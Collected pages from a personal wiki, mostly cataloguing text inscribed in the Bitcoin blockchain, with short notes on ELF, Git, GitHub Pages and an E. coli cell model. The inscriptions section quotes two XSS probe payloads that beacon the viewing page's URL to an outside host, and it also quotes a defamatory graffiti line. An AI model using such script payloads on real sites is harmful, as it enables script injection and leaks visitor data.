Ciro Santilli @cirosantilli 37

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Sallie (FutureAI) Updated 2025-07-16

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Not having a manipulator claw is a major issue with this one.

But they also have a co-simulation focus, which is a bit of a win.

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Cool data embedded in the Bitcoin blockchain / Text Updated 2025-07-16

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Here are some exceptionally interesting text inscriptions that are not mentioned in other sections:

Section "Genesis block message"
tx 3a1c1cc760bffad4041cbfde56fbb5e29ea58fda416e9f4c4615becd65576fe7 (2013-04-10) has the broken Basic creature simulation mentioned at Hidden surprises in the Bitcoin blockchain by Ken Shirriff (2014) section "A creature simulator in Basic" starting with:
```
10 REM The variables in life
20 ' life the lifespan of a creature
30 ' mates the number of mates a creature needs to breed
```
tx 61e26d407c17e8ee33a8b166c78f78c53cdcdc0078ae1f9405e6583cfb90eaf4, block 268081 (2013-11-05). This is a very interesting transaction, it contains inscriptions both on the input script and on the output script. On the input:
I should not run the washing machine while listening to WZBC. I managed to convince myself that the machine was slowly failing -- that a rythmic, squeaking noise it had been making had gotten a little worse. Ten minutes later, though, the machine had paused. But the noise was still there.
On the output:
```
> Skynet went online on August 4th 1997, and began to learn at a geometric rate.
> It became self-aware on August 29th 1997 2:14 am Eastern Time. On August 29th
> 1997 2:15 am it discovered nihilism, and either shut itself down due to
> despair, or because it was logical. We're not sure which.

On August 4th, 1998, it failed to renew its domain name, which was promptly
squatted on by a link farmer pitching X10 cameras and singing electric fish.
```
Feels like a Koan. I wish I knew who inscribed this.
tx 4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af block 305806 (2014-06-14) contains a blockchain explorer XSS detector that reports its location back to: www.trollbot.org/xss-blockchain-detector.php
```
<script type='text/javascript'>document.write('<img src='http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + ''>');</script>
```
Soon afterwards at tx a165c82cf21a6bae54dde98b7e00ab43b695debb59dfe7d279ac0c59d6043e24 block 305809 there is a different version with slightly different escaping:
```
<script type='text/javascript'>document.write('<img src=\'http://www.trollbot.org/xss-blockchain-detector.php?bc=btc&href=' + location.href + '\'>');</script>
```
Also of interest, the output script of 4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af is non standard and a provably unspendable Bitcoin output script. a165c82cf21a6bae54dde98b7e00ab43b695debb59dfe7d279ac0c59d6043e24 however, although also non-standard, was spendable and was spent, further analysis at: Section "4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af".
tx 713a6832365a68f71c6aee879f79b70e6e738cd6255f09bc41f204c81575c248 (2014-09-28) via cryptograffiti.info has the eleven rules of LaVevan Stanism starting with:
1. Do not give opinions or advice unless you are asked.
tx 604f17dfdb5a88fc072bd2bcf53436087c899051241e519af7241dc0037d3df6 (2014-12-01) has a cover letter for a job at Hive Blockchain Technologies Ltd:
Dear hive team, ever since I have discovered Bitcoin I have been a fan of your products. [...]. Sincerely, Tim Daubenschuetz
At news.ycombinator.com/item?id=26826334 the supposed author mentions they didn't reply... sad. He did get to work for another Blockchain company though: www.ascribe.io, which eventually died. Presumably github.com/TimDaub.
tx 213e8f46f98e96f4f4d8b45bd3a1cbada14213796c200220e1e8c2b315988faa (2015-03-25)
Warning! Kaspersky Alerts Users of Malware and 'Blockchain Abuse'
contains a full-text copy of: cointelegraph.com/news/113806/warning-kaspersky-alerts-users-of-malware-and-blockchain-abuse (2015-03-27), includinga link to it. Two other copies appear in future transactions tx c863aa9d6aa9345e4abdc216b6f035c4276b4423a924bb2e1593c22c670cba6f and tx ba58caf1a27ab7ca627cc3efa5914e4d37e00b3a7e9cf29508d451dc3da00bf7
tx 3405f441f0d3acd8580d261d58e5a14d7638d0ee29200e673f496198d231edd7 block 364852 (2015-07-11) and a nearby transaction on the same block 1759ed3f0f5829711157c1fc3662f4bf01f3bee3a430242bc729898bb77c2a4a via cryptograffiti.info contains a possibly novel long short story entitled:
```
How to Play Chinese Hats
   - A Short Story -
         2015
```
The first paragraph is:
Somehow, you find yourself in a dim and smoky room with no entrance, exit or windows, without knowing how you got there or even where you've come from. In front of you are a group of Chinese gentlemen shuffling around what looks to be traditional black Chinese hats styled after the Ming dynasty, on a circular chestnut wood table. Surprisingly, you find the same type of hat in your very own hand when you look down.
At the end we see a signature and a tipjar:
```
Ren @ 1LQGWkhE7GULhj2gjjRwB9uZR7SMfGvjGV
```
He did receive one tipin 2015 for 0.02590000 BTC: www.blockchain.com/explorer/addresses/BTC/1LQGWkhE7GULhj2gjjRwB9uZR7SMfGvjGV
tx 0b63ebfadcb7bb66bc2a4bc7b826587505eab0450ca64c376ac9912a00d35c54 block 371796 (2015-08-27) via cryptograffiti.info has a large text entitled with what seems to be a storm forecast:
TROPICAL STORM ERIKA INTERMEDIATE ADVISORY NUMBER 11A
A Wikipedia page about the August 2015 event: en.wikipedia.org/wiki/Tropical_Storm_Erika
Tropical Storm Erika was one of the deadliest and most destructive natural disasters in Dominica since Hurricane David in 1979.
The storm was formed "August 24, 2015", so this inscription was contemporary. Good friend, warning his fellow Bitcoiners.
tx 4dd57f3e443ad1567a37beab8f6b31d8cb1328a26bac09e50ba96048ad07b8c1 (2015-09-03) via cryptograffiti.info contains a long porn comededy text in an Italian-like languge starting with:
E il cazzo non entr
which translates to:
And the dick doesn't fit
.
By dumping the transaction data, we actually see that the beginning was slightly missed due to a character encoding issue, the text actually starts with:
BANG!
followed by some non ASCII characters that we haven't yet been able to decode. It is not ISO_8859-1.
Ciro Santilli first thought it might beto be a dialect of Italian, or possibly Sicilian language given the presence of "sv" in the text, but an Italian friend says it is just Italian with several words cut in half, possibly for comedic effect. No pre-existing hits found on the web.
tx 24e137d5b478d9a8b947e4f3f6130a86f2e0f6a2dda1cac1373b485c577f8ba7 (2015-12-03) contains a tale of an Electrical Engineer vs a Software developer tale.
Once upon a time, in a kingdom not far from here
Possible original: www.cs.brandeis.edu/~hornby/amuse/vs_toast.txt
tx e2c20c2977589240ad9486672a0273d340ed5f8b50a50071716d12035d7212e8 (2016-01-31) has a large Lorem ipsum
tx 5f62490ca4736da30da35ebc3f86156dbdb529dcb2f77cb8b0eb84868d567b00 (2016-05-05) via cryptograffiti.info contains a poem entitled:
Voor mijn jongere broeder
whichi is Dutch for;
For my younger brother
No Google hits, so possibly novel.
tx 0809e7f31d074eefc0f1f02463a28b5238688aa73e6361c01cbc7b1848ac8d93 (2017-07-10) via cryptograffiti.info contains a white paper entitled:
Disincentivizing Double-Spending by Making it Unprofitable
by Erich Ertsu from Coingaming Group (July, 2017). He was previously the creator of cryptograffiti.info This is the startup: www.crunchbase.com/organization/coingaming, previously at coingaming.io but now moved toyolo.com. The paper does not seem to be reproduced anywhere on the clearweb, the blockchain was its primary location of publication.
tx e450166eba552202fb6984867f2b851e2399c5a0ae05026bf6b056176491ec5d (2017-03-11)
Here are some of the reasons why Tau is better than Pi as a universal constant for circles.
tx 0f25e23b7b59fde67d8b2d41b749e4f89fd1ff8061aa0ddac8c27c8230167e35 (2017-08-18):
A Crosschain transaction was sent in to your address in error. The transaction was 9174f24946496823e4edaf3fe1676a404164178d1c848fa476113bbe2f5b9463 . Please return to 1AAEXtLo9SoyFQbZvWoqAMCpkz9okSpCuV. Thank you in advance."
Epic. The transaction sent:
- 0.23225200 to 1BqyRKHoLEKgHGUoDiFUEZu5jPaWeuCWWt
- 5.6 BTC to 1JG8EVTx1zWzDyctAD5fFuMt59TWkSw2dW
1AAEXtLo9SoyFQbZvWoqAMCpkz9okSpCuV never received anything back so far.
The message is encoded as fake 12 P2PKH outputs, followed by an actual address, presumably the message target, but none of the addresses is one of the above targets of the transaction, so how did they know to associate the addreses? They must have extra hidden data?
tx 057954bb28527ff9c7701c6fd2b7f770163718ded09745da56cc95e7606afe99, block 666666 (2021-01-18):
Do not be overcome by evil, but overcome evil with good - Romans 12:21
As highlighted at www.reddit.com/r/Bitcoin/comments/vxletr/message_was_embedded_in_block_666666/ the block number is a reference to the number of the beast. Later also posted on another Reddit thread: A Weird Message Was Embedded in Bitcoin’s 666,666th Block — Turns Out It’s a Bible Verse (2025)

TODO:

55a5d0c09ad5535711d649fdab394add3bb6e50cc2c49920cf0cb758ff0b69e8 via cryptograffiti.info contains what seems to be a ASCII table tracking train movements? Maybe from a train lover? But also curiously, it is GPG signed:
```
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

time    direction    # covered    #uncovered    notes
11/11/2013 6:31pm    E    4    1    csx 6243
11/19/2013 4:46pm    E    3    0    csx 6215
11/19/2013 5:44pm    W    4    0    Amtrak
11/21/2013 4:05pm    E    0    0    csx 6206
```
Interesting.
86c1b7bd8bbdd8903355a8f6a408616621fd2ea4321b9aced778f388afe0b244 has something similar.
cc38d740dc1999a803dbba0c48a82af994861e0767f6bcd7d6ceebe4e66b4678 via cryptograffiti.info contains a pipe dream technical proposal idea entitled:
Attack-resistant decentralized time and location services via Nakamoto chain consensus.
5d9ef37e6beea5342ce1cb2681a7b465a542394aeda2b1e1fed00fab44b17833 via cryptograffiti.info contains a test of every character from 0 to 255, e.g. some of the readable characters are:
```
65:              A
66:              B
67:              C
68:              D
69:              E
70:              F
71:              G
72:              H
73:              I
74:              J
75:              K
76:              L
77:              M
```
d5f6614b4e3bdc611c8ad15f158163e48e1a1298ea5f5f9832ada8db6e2dd4b2 has something similar.
0f96b2f6e3c4f4b6319efbafd2e7148d507b260b4d7914766e79aec7d9ac9574 via cryptograffiti.info has a long-ish message that looks like a software release note, not sure what it is about:
```
Truecrypt 7.1a
==============

2015-07-19

I am setting the filesizes and checksums of the last Truecrypt version (7.1a) in stone.
```
206a0edb11ba0677248709d9bc5210b35e8a03710d9bb19c6f1e4e254bf21f5e via cryptograffiti.info has a letter to AGI:
Dear Artificial Intelligence,
While cute, the author clearly underestimates the magnitude of singularity!
cdbeb50c11b788fa4e67e00fb2e2607b129492a4a38bed0a9e31443a42e272a4 via cryptograffiti.info contains a semi-philosophical text that starts with:
When in the course of cosmic evolution,
b55c3312ceeeb4ab422b658f5f4d5884775a498ddde6a527fca7b67752e1b044 via cryptograffiti.info contains some wedding vows starting with and GPG-signed:
Zachary Thomas Smith,
I give myself - Jenna Marie Vaziri - to you, to be your wife, your best friend, and your home - just as you are to me.

3620da027df2e2e34ac9abe0123dcd7217fc5b8dec9921cbae258c640c7a6591 via cryptograffiti.info contains a neatly formatted UTF-8 ad with a link to: bitcointalk.org/index.php?topic=1033773.0

╭───────────────────────────────────────────────────────────────────────────╮
│    B&C EXCHANGE:  A decentralized cryptocurrency exchange for everyone    │
┝━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┥
│             https://bitcointalk.org/index.php?topic=1033773.0             │
│                                                                           │
│ B&C Exchange will be an open-source decentralized exchange that completes │
│ cryptocurrency  trades between  users by utilizing multisig signers  that │
│ compete for blockchain  rewards based on their effectiveness and honesty. │
├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤
┆          ▷▶▷▶    There are 10 days  left in the auction!    ◀◁◀◁          ┆
╰───────────────────────────────────────────────────────────────────────────

The thread links to bcexchange.org/ which is dead as of 2024.

f93e128c59b357ca2d1b256eb1c4d991c488da460527ca0898dc789210073bd2 has another one:

┏━━ UTF-8 is coming to CryptoGraffiti.info!!! ━━┓
┠╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┨
┃ I love you.                          Σ΄αγαπώ. ┃
┃               Ma armastan sind.               ┃
┃ Aš tave myliu.               Mä rakastan sua. ┃
┃                 Я люблю тебя.                 ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

140562ceb42fc8943fa52ccc0ddbb11ca2d88dae9b5240d7a4b46864538c515a

Reddit on the Bitcoin blockchain Test

TODO understand this part:

The "Address" you see above is more than a bitcoin address? For example, the web address to this

reddit thread is: https://www.reddit.com/r/Bitcoin/comments/3cdxep/reddit_on_the_blockchain_test/

Which converts to the bitcoin address of:
12uPLj6PSz6ULnZi1jXo7Ch1Je1SuqxRcE

How? Because any text, like a web address, can be converted into a bitcoin address.

www.reddit.com = 1MZCEUCtyJCDkNSLYbPVvAgf9V3CsEw3t
www.google.com = 1JEZLaFciACHDEMVd3RXZzPmGcsWEwYQLr
www.voat.com = 1JvCp9X5Bvvt2kz3EqP5ppkzX62sKgKbqr
www.paystamper.com = 14wgeaWz2rKax8iVSWNFSrSsAYNeGyNdkt
Duriel@paystamper.com = 1HcuhfTAiQCt6KdMG2rZLXsTcKYj9nLDhS

940f41f5cc96182c1392c239d7570f94bd524e141ca0a88fdb154bd817049f83.bin via cryptograffiti.info contains some links to profiles controlled by a "Daniel Michael Abraham" www.linkedin.com/in/daniel-abraham-9432a798/. Other messages by him:
- 3d39024fa0cddfc529d4a41501df7a076f5bcf9a7a43f88f54a717e6df7f4770
- 088ebf7ffdef96b8fcac7eafa2ff6d04f295ea24f159e1ce4b7d47ed7b91b1f9

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Cool data embedded in the Bitcoin blockchain / Porn Updated 2025-07-16

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For now we are going to keep this site porn-free and only link to prevent bad things from happening, as it might violate GitHub porn policy depending on how it is hosted, and Google may dislike it. Video "What is more obscene: sex or war? scene from The People vs. Larry Flynt".

If illegal porn were to ever be found, we would be unable to acknowledge that, and would just have to silently remove it. Of course, the reproducible nature of Bitcoin Inscription Indexer means that anyone who regenerates the data would immediately see such entries in the diff.

Another issue is that it can be quite hard to determine if porn is legal or illegal, e.g. it can be hard to distinguish legal an illegal ages or revenge vs consensual porn, especially at the low resolutions that you may expect to find embedded in the blockchain. We are generally going to be quite strict about this, and in case of uncertainty on porn legality we will censor first.

OK the list:

tx 4c903a377addab7c1e35a685d3dabc664199e406374b1e5ce2fc59e78fb5b754 (2016-07-09) contains an animated GIF of a woman pole dancing. She is seen from behind, in revealing blue clothes that show her buttocks. Reproduced at: twitter.com/cirosantilli/status/1755378949117370668. The file contains the following strings embedded into it:
This GIF file was assembled with GIF Construction Set from:
Alchemy Mindworks Inc.
This comment block will not appear in files created with a registered version of GIF Construction Set
and:
Cryptograffiti.info messages now cheaper.

4c903a377addab7c1e35a685d3dabc664199e406374b1e5ce2fc59e78fb5b754.gif

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ELF Hello World Tutorial / PT_INTERP Updated 2025-07-16

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Contains the path to the dynamic loader, i.e. /lib64/ld-linux-x86-64.so.2 in Ubuntu 18.10. Explained at: stackoverflow.com/questions/8040631/checking-if-a-binary-compiled-with-static/55664341#55664341

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Erik Finman thinks school is broken Updated 2025-07-16

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archive.ph/fYpC1

The way the education system is structured now, I wouldn't recommend it, It doesn't work for anyone. I would recommend the Internet, which is all free. You can learn a million times more off YouTube and Wikipedia.

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GitHub Pages Updated 2025-07-16

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pages.github.com/

The cheapest and most resilient way to publish text content humanity has achieved so far.

Some tests:

github.com/cirosantilli/jekyll-cheat: cirosantilli.com/jekyll-cheat
github.com/cirosantilli/test-gh-pages: cirosantilli.com/test-gh-pages
Test with a .nojekyll file.
github.com/cirosantilli/test-gh-pages-min: cirosantilli.com/test-gh-pages-min. Minimal version of the above.

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Git tips / Modify contents of an old commit in your branch Updated 2025-07-16

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Before:

7 my-feature HEAD
|
6
|
5 master
|
4
|
3
|
2
|
1

Oh, commit 6 was crap:

git rebase -i HEAD~2

Mark 6 to be modified.

After:

7 my-feature HEAD
|
6v2
|
5 master
|
4
|
3
|
2
|
1

Better now, ready to push.

Note: history changes change all commits SHAs. All parents are considereEven time is considered. So is commit message/author. And obviously file contents. So now commit "7" will actually have a different SHA.

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Markus W. Covert Updated 2025-07-16

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Covert Lab lead.

Ciro Santilli really likes this dude, because Ciro really likes simulation.

Video 1.

How to build a computer model of a cell by Markus Covert (2020)

Source.

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Octokat.js Updated 2025-07-16

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github.com/philschatz/octokat.js

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Pull request Updated 2025-07-16

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The heart/main innovation of GitHub!

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Cool data embedded in the Bitcoin blockchain / Prayer wars Updated 2025-07-16

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Starting at tx cbbaa0a64924fe1d6ace3352f23242aa0028d4e0ff6ae8ed615244d66079cfb1 (2011-08-05), Catholic Bitcoin developer Luke Dashjr started to inscribe prayers in the miner messages of his mining pool "Eligius pool", usually one verse per message.

Figure 1.
Saint Eligius by Petrus Christus
. Source. Off-chain image for illustration. Eligius pool is named after Saint Eligius, patron of goldsmiths and miners^[ref]

These are some of the earliest inscriptions in the blockchain, and therefore extremelly visible.

Although the prayer verses appear contiguous in ASCII dumps, Eligius was not actually mining every block: it is just that in those early days, miners still hadn't started adding advertisement messages to every block, so only Eligius shows up and appears contiguous.

At some point, opponents noticed these messages, and started adding atheist mockery graffiti replies, which appear interspersed in ASCII dumps with the prayer.

The first prayer is the Latin version of the Divine Praises, a Catholic prayer composed in 1797 in Italian by Luigi Felici for the purpose of making reparation after saying or hearing sacrilege or blasphemy. Luke claims he was referring to anything in particular that came prior in the blockchain: twitter.com/LukeDashjr/status/1749182637569122434. There arent many earlier inscriptions at all to refer to in any case! The prayer and correspondong interrupts (in transaction outputs, not by other miners) ordered by block are:

139690 (2011-08-05) prayer: "Eligius/Benedictus Deus. Benedictum Nomen Sanctum eius."
139717 prayer: "Eligius/Benedictus Deus. Benedictum Nomen Sanctum eius.'
139758 interruption: ***************************************************. This is not a Coinbase message: www.blockchain.com/explorer/transactions/btc/23befff6eea3dded0e34574af65c266c9398e7d7d9d07022bf1cd526c5cdbc94. This Bitcoin input script appears to spend a standard P2PKH output, but it first adds an extra value to the stack which contains the ***.
139792 prayer: "Benedictus Iesus Christus, verus Deus et verus homo.'
139831 prayer: "Benedictum Nomen Iesu.'
139838 (2011-08-06) interruption: "I LIKE TURTLES" (tx 78eb16507b3d3df615e3b474e853db4667f4b11954ec6d918b1ded0fca7ad25a)
138898 prayer: "Benedictum Cor eius sacratissimum."
139904 prayer: "Benedictus Sanguis eius pretiosissimus."
139921 prayer: "Benedictus Iesus in sanctissimo altaris Sacramento."
139942 prayer: "Benedictus Sanctus Spiritus, Paraclitus."
139954 interrupion: "aC-C-C-COMBO BREAKER" (tx 138c024a76df99ecafd2236d5429cf574b7778a3c6508bd83f116c832f3c6980)
139960 prayer: "Benedictus Sanctus Spiritus, Paraclitus."
139977 prayer: "Benedicta excelsa Mater Dei, Maria sanctissima."
139990 (2011-08-06) prayer: "Benedicta sancta eius et immaculata Conceptio."

Then comes:

140181 Latin Trinitarian formula
In nomine Patris et Filii et Spiritus Sancti. Amen.
Act of Contrition
Act of Hope

and various others + output message interruptions.

Then at last come the first miner message interruptions. Luke explained on Twitter ^[ref] that they were also made by Eligius pool, as there was a system in which contributors besides Luke could submit their own strings:

142547: (2011-08-25) tx 8e1e44a48b5e79636675d1476f8e4add075bbeb7f49e00ec743eed56f17feaaa A yandere game is starting in 60 seconds! Please type "]yandere" to join. Yandere Simulator comes to mind, but it can't be because that was pitched 2014.
142550: "A yandere game is starting in 60 seconds! Please type "]yandere" to join."
142573: (2011-08-25) "Militant atheists, bit.ly/naNhG2 -- happy now?". A Rickrolling link. Perhaps one of the fist.
142596: (2011-08-25) " ran out of prayers?! That explains the price drop.". Possibly quoting this dude on som twitter.com/cjdelisle Bitcoin IRC channel givesn the <USERNAME> format?
142640: "an de ti go su by ra me ni ko hu vy la po fy ton": Tonal system numerals. Interesting.

followed by more prayers and interruptions such as tx ec92d245822fa1ff862f3314b9102f36fe1eb8bc055865674c75323540aedef6:

FFS Luke-Jr leave the blockchain alone!
Oh, and God isn't real

The last Luke prayer appears to be on block 143822 (2011-09-03)

... the Lord of the harvest, that he send forth labourers into his harvest.

Then there is a bit of radio silence, until finally Slush Pool started self advertising for the first time on block 163970 (2012-01-26):

/P2SH/BIP16/slush/R,

They had been mining for a long time by then (December 2010 according to en.bitcoin.it/wiki/Slush_Pool), but this is when they decided to add a human readable ASCII message as well.

From then on, miner messages would be forever polluted with ads, and Luke's multi-miner message feat would never again be reproduced.

The non-obvious interruptions are all well known memes/anime references:

"I like turtles": knowyourmeme.com/memes/i-like-turtles
Combo breaker: knowyourmeme.com/memes/combo-breaker
"Yukkuri Shiteitte ne": knowyourmeme.com/memes/yukkuri-shiteitte-ne
"kLhLUKE-JR IS A Pedophile! Oh, and God isn't real, sucka. Stop polluting the blockchain with your nonsense.", tx 9740e7d646f5278603c04706a366716e5e87212c57395e0d24761c0ae784b2c6, block 141460
"Help me, ERINNNNNN!!": touhou.fandom.com/wiki/Lyrics:_Help_me,_ERINNNNNN!!
"EASY MODO? How lame!F?": knowyourmeme.com/memes/kimoi-girls

Bibliography:

2011-08-19 bitcointalk.org/index.php?topic=38007.0 "Eligius miners aware of prayers in block headers?" from on bitcointalk.org by user "Graet" who quotes prior discussion from a Bitcoin IRC channel:
cosurgi: by design, it contains "random" data-- I've just been setting some of that "random" data to prayers
mm interesting luke-jr i understand you are strong in your faith but you dont think putting prayers in might alienate some ppl - after all btc is multidenominational
Graet: Catholics do not believe in freedom of religion.
and you make your non catholic miners aware of this?
2011-11-02 bitcointalk.org/index.php?topic=52979.0 "Mysterious transaction spotted in blockchain!"

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Common sense Updated 2025-07-16

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Video 1.

My Job is to Open and Close Doors by Mattias Pilhede (2019)

Source. An interesting humorous short meditation on common sense.

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Cool data embedded in the Bitcoin blockchain / Encrypted data Updated 2025-07-16

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Transactions such as tx fe37c7eee73be5fda91068dbe0eb74a68495a3fc7185712b8417032db7fc9c5e (2015-01-15) starting with

U2FsdGVkX1/4iSjLxQ5epo8eRSCOQLGgAsn1CucGii27k8ZyC7Jz6wxhYcevVmxi
6Q4ZFN04WDN0UhKqYardgQf26oeBMURupduDd0ZozxlgMrBkFOCaARqU7RABVWDO
/ruPUcOY0VC8p4lrMNqSdqvN7y6OWwOSH3c0duumZfFNZs9+BbtKCxtaqR5+RkUI

are Base64 encoded. Running them through base64 -d leads to starting output bytes Salted__ which as mentioned at security.stackexchange.com/questions/124312/decrypting-binary-code-from-a-base64-string is OpenSSL encrypted data. So hwerever we see the start:

U2FsdGVkX1/

we might as well give up. That string appears 26 times in our data currently, between 6c091e6152b83ec0df8d0d87c7c5f3da72a3328ed3a5d91768ba0ab899c16b9d (2014-09-28) and 84189c82995db355e92e37f8cfe8a9274e9a5d157f1f1658067672e707469a09 (2019-07-06)

The following via cryptograffiti.info get marked by file as "openssl enc'd data with salted password, Base64 encoded":

ad3d8a0a5d57114b1780341cb5104284f029bb01b1b3558f7c7b9ce51eb67e18
1cd0c631f444d664601468f644b70e0166019a54d8678de51310139b6c8b2bd7
ccc3fb2c9cb1c640b76645a8658693066fd63433ab17c318691ad5bd62601c0e
e6eb0cb8268a9b3d012d2957b32d4b28ccc3317593f54f4bfe4b387326588bd2
c40e322b198b715accc4a67fad244ed131b8cef0785070e06d10d56c4ab389f2
37a261ac6dbf59e3c9673a22028bcdbdd08926a9d32134ab8fba0897f6dcd196
f1aa516fe00ec2156f16fcb9da422f6cbcd141e8e58c895d8bc37b4ad2fd714e
7faf29c7dd7d9cc6d099c262f7ec7edd7fc768276482ad66ceefdd814f1d38ab
69cac244051661cc0b8b08905af5ab312a1282b68c932e5d1e3c46ad47ff0f7a
1773c39f844951b7169dc34aa0c72aa7b43cae6a103ed1223527ef0f4deec2a9
b1d4bf3fc46e63c995ad4299f3576340077bc810dfa5c502d1c068460d54bc98
a52625837741902e1dd24de3dbd3b948d6e0907ad3fc957c13cdf53fa2c3b9ac
4ca742813eaccef009e24e92150dda06540c2ac81782f1569b1ebb3179a413d2
6c3bab5fc6e6352c62a16ab0f47394845aa41a2c0b25e1a1073a4aeac150e03d
20b8feef3d293a0dd79e3c169fceb1217465502a523acbab903a7eb0cd183709
b7863215b99567bc9e71155b13f3c5f26d15eac52493ee2e834129460ffd2aec
2c8961a64bb11d5855790085f51007273467f7ef862137215c9f1d958dcb6c57
bed542957bdd8f644a4fcd671a8c66a5cc5d6168f9fa60d37177703e77558eee
3e45af9d828754d5a38c86636a070610f6e828482718c4a597d272d41a3e31fa
a13af4817e85cacce3cfb445001e2fb2f56cdc30f78348fd2580bf8f4c84dc55
87a10f6bc65a08067b2544e46be00d4af62c0cfed3ae0b165d5eedaff09d81da
ef55826befabbe9dcd44d87fc385d600dd4c4cba3346cde53d8c591960e9b4dc
5d30f63131dcf2b4d001b4ab530e18cc6ff8ffd16cade055ff4587a59b84e420
8a75514829b6e30b9fea434eef77b1589ff3f4bdfc0056bd087efbfb8314eb59
e2be1062c9d43cc6ed43de6f7a40c728d2d92ed0325abde24ff3300cf3ae136a
8fe5c2679237e36c74fda04bb083f732c4afdd06af81121b1d7b4d5bd677135f
7f099f094d8d51105d8655253d45ebddf1c88b9e138c302a65d2878a237e620c
0fc4b3a305e2a7faa2e7d9c2f23d23d626e9e75f1f2a37133f283334b314645b
933b321e7b7144ed5e4e1750f944be9ed10293633d9b288bf05febdeb9dc40a3
6215486bc024dea7991b142e50e111c4063e1db4a867514612b8e794b8ef5635
fc0613e11269962d97373b10e310f451fb76c7bb477ba1afb45773c44851e9ed
ab51d2c037b4625394c68706da83c26bad751018d2a3e377a51988bd8ee18647
7ca9b337172f4feff67a0ecbfbd76798265e08c6ebe989a319883c695d756247
0f0b477e456dcf286d7262497bcd5b3b6a3ce89f81761c2f59ff702539ab6183
a320152fd59426c8853dd781db9d682f89755953b39a653f9e9c9628a5fce7fb
e96221da774fb52d24dda1b83b14c99085eb4befac64691722c56eb750562d68
a7a5ca68dd340dd42bd5c91e0febe68e5fd2fb993da2992661183eaafe8ad89e
64e9d95e2333cfd155506199c8d926649e63a98dbc83c1221b8dd1580937b942

blockchain.news/news/mysterious-bitcoin-inscriptions-a-puzzle-in-raw-binary-data mentions a huge 9 MB Ordinal ruleset inscription that no-one managed to decode, and so people suspect is encrypted data. Seems to be split across transactions, starting at fed7de7fb75a3fe3c1acbbd8e19a4c540fb368474c8834e4ddb1d5bab764a767

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E. Coli K-12 MG1655 promoter Updated 2025-07-16

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biocyc.org/group?id=:ALL-PROMOTERS&orgid=ECOLI

From this we see that there is a convention of naming promoters as protein name + p, e.g. the first gene in E. Coli K-12 MG1655 promoter thrLp encodes protein thrL.

It is also possible to add numbers after the p, e.g. at biocyc.org/ECOLI/NEW-IMAGE?type=OPERON&object=PM0-45989 we see that the protein zur has two promoters:

zurp6
zurp7

TODO why 6 and 7? There don't appear to be 1, 2, etc.

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E. Coli Whole Cell Model by Covert Lab / Condition Updated 2025-07-16

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reconstruction/ecoli/flat/condition/nutrient/minimal.tsv contains the nutrients in a minimal environment in which the cell survives:

"molecule id" "lower bound (units.mmol / units.g / units.h)" "upper bound (units.mmol / units.g / units.h)"
"ADP[c]" 3.15 3.15
"PI[c]" 3.15 3.15
"PROTON[c]" 3.15 3.15
"GLC[p]" NaN 20
"OXYGEN-MOLECULE[p]" NaN NaN
"AMMONIUM[c]" NaN NaN
"PI[p]" NaN NaN
"K+[p]" NaN NaN
"SULFATE[p]" NaN NaN
"FE+2[p]" NaN NaN
"CA+2[p]" NaN NaN
"CL-[p]" NaN NaN
"CO+2[p]" NaN NaN
"MG+2[p]" NaN NaN
"MN+2[p]" NaN NaN
"NI+2[p]" NaN NaN
"ZN+2[p]" NaN NaN
"WATER[p]" NaN NaN
"CARBON-DIOXIDE[p]" NaN NaN
"CPD0-1958[p]" NaN NaN
"L-SELENOCYSTEINE[c]" NaN NaN
"GLC-D-LACTONE[c]" NaN NaN
"CYTOSINE[c]" NaN NaN

If we compare that to reconstruction/ecoli/flat/condition/nutrient/minimal_plus_amino_acids.tsv, we see that it adds the 20 amino acids on top of the minimal condition:

"L-ALPHA-ALANINE[p]" NaN NaN
"ARG[p]" NaN NaN
"ASN[p]" NaN NaN
"L-ASPARTATE[p]" NaN NaN
"CYS[p]" NaN NaN
"GLT[p]" NaN NaN
"GLN[p]" NaN NaN
"GLY[p]" NaN NaN
"HIS[p]" NaN NaN
"ILE[p]" NaN NaN
"LEU[p]" NaN NaN
"LYS[p]" NaN NaN
"MET[p]" NaN NaN
"PHE[p]" NaN NaN
"PRO[p]" NaN NaN
"SER[p]" NaN NaN
"THR[p]" NaN NaN
"TRP[p]" NaN NaN
"TYR[p]" NaN NaN
"L-SELENOCYSTEINE[c]" NaN NaN
"VAL[p]" NaN NaN

so we guess that NaN in the upper mound likely means infinite.

We can try to understand the less obvious ones:

ADP: TODO
PI: TODO
PROTON[c]: presumably a measure of pH
GLC[p]: glucose, this can be seen by comparing minimal.tsv with minimal_no_glucose.tsv
AMMONIUM: ammonium. This appears to be the primary source of nitrogen atoms for producing amino acids.
CYTOSINE[c]: hmmm, why is external cytosine needed? Weird.

reconstruction/ecoli/flat/reconstruction/ecoli/flat/condition/timeseries/ contains sequences of conditions for each time. For example:
- reconstruction/ecoli/flat/reconstruction/ecoli/flat/condition/timeseries/000000_basal.tsv contains:
  "time (units.s)" "nutrients" 0 "minimal"
  which means just using reconstruction/ecoli/flat/condition/nutrient/minimal.tsv until infinity. That is the default one used by runSim.py, as can be seen from ./out/manual/wildtype_000000/000000/generation_000000/000000/simOut/Environment/attributes/nutrientTimeSeriesLabel which contains just 000000_basal.
- reconstruction/ecoli/flat/reconstruction/ecoli/flat/condition/timeseries/000001_cut_glucose.tsv is more interesting and contains:
  "time (units.s)" "nutrients" 0 "minimal" 1200 "minimal_no_glucose"
  so we see that this will shift the conditions half-way to a condition that will eventually kill the bacteria because it will run out of glucose and thus energy!
Timeseries can be selected with --variant nutrientTimeSeries X Y, see also: run variants.
We can use that variant with:
```
